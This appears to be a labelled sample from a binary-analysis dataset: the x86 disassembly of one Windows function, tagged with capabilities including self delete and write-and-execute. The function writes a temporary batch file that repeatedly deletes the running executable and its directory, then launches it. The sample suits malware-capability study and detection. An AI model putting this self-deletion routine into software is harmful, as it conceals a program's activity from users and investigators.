Function at 0x402f20
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.00407ec0
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.00407ec0
push 0x103
lea edx, [ebp - 0x30f]
push 0
push edx
mov byte [ebp - 0x310], 0
call fcn.00407ec0
mov eax, dword [str.sanfdr.bat]
mov ecx, dword [0x41374c]
mov dx, word [0x413750]
mov dword [ebp - 0x324], eax
mov al, byte [0x413752]
add esp, 0x24
mov dword [ebp - 0x320], ecx
lea ecx, [ebp - 0x20c]
mov byte [ebp - 0x31a], al
xor eax, eax
push ecx
push 0x104
mov word [ebp - 0x31c], dx
mov dword [ebp - 0x319], eax
mov dword [ebp - 0x315], eax
mov byte [ebp - 0x311], al
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x324]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402fe2
push esi
push edi
lea edi, [ebp - 0x20c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402ff6
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x104
lea edx, [ebp - 0x108]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x310]
push 0x104
push ecx
call fcn.004054ad
lea edx, [ebp - 0x310]
push 0x5c
push edx
call fcn.00405080
add esp, 0x14
test eax, eax
je 0x403050
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push 0x413754
push eax
call fcn.004055c8
mov esi, eax
add esp, 8
test esi, esi
je 0x4031b1
push esi
push 1
push 9
push str.:Repeat_r_n
call fcn.00404d7f
push esi
push 1
push 5
push 0x413764
call fcn.00404d7f
lea eax, [ebp - 0x108]
add esp, 0x20
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403098
push esi
sub eax, edx
push 1
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00404d7f
push esi
push 1
push 2
push 0x41376c
call fcn.00404d7f
push esi
push 1
push 0xa
push str.if_exist__
call fcn.00404d7f
lea eax, [ebp - 0x108]
add esp, 0x30
lea edx, [eax + 1]
jmp 0x4030e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4030e0
push esi
sub eax, edx
push 1
push eax
lea edx, [ebp - 0x108]
push edx
call fcn.00404d7f
push esi
push 1
push 0xf
push str.__goto_Repeat_r_n
call fcn.00404d7f
push esi
push 1
push 7
push str.rmdir__
call fcn.00404d7f
lea eax, [ebp - 0x310]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403123
push esi
sub eax, ecx
push 1
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.00404d7f
push esi
push 1
push 3
push 0x413794
call fcn.00404d7f
push esi
push 1
push 5
push str.del__
call fcn.00404d7f
lea eax, [ebp - 0x20c]
add esp, 0x30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403166
push esi
sub eax, edx
push 1
push eax
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00404d7f
push esi
push 1
push 1
push 0x4137a0
call fcn.00404d7f
push esi
call fcn.00404bb4
add esp, 0x24
push 0
push 0
push 0
lea edx, [ebp - 0x20c]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404568
mov esp, ebp
pop ebp
ret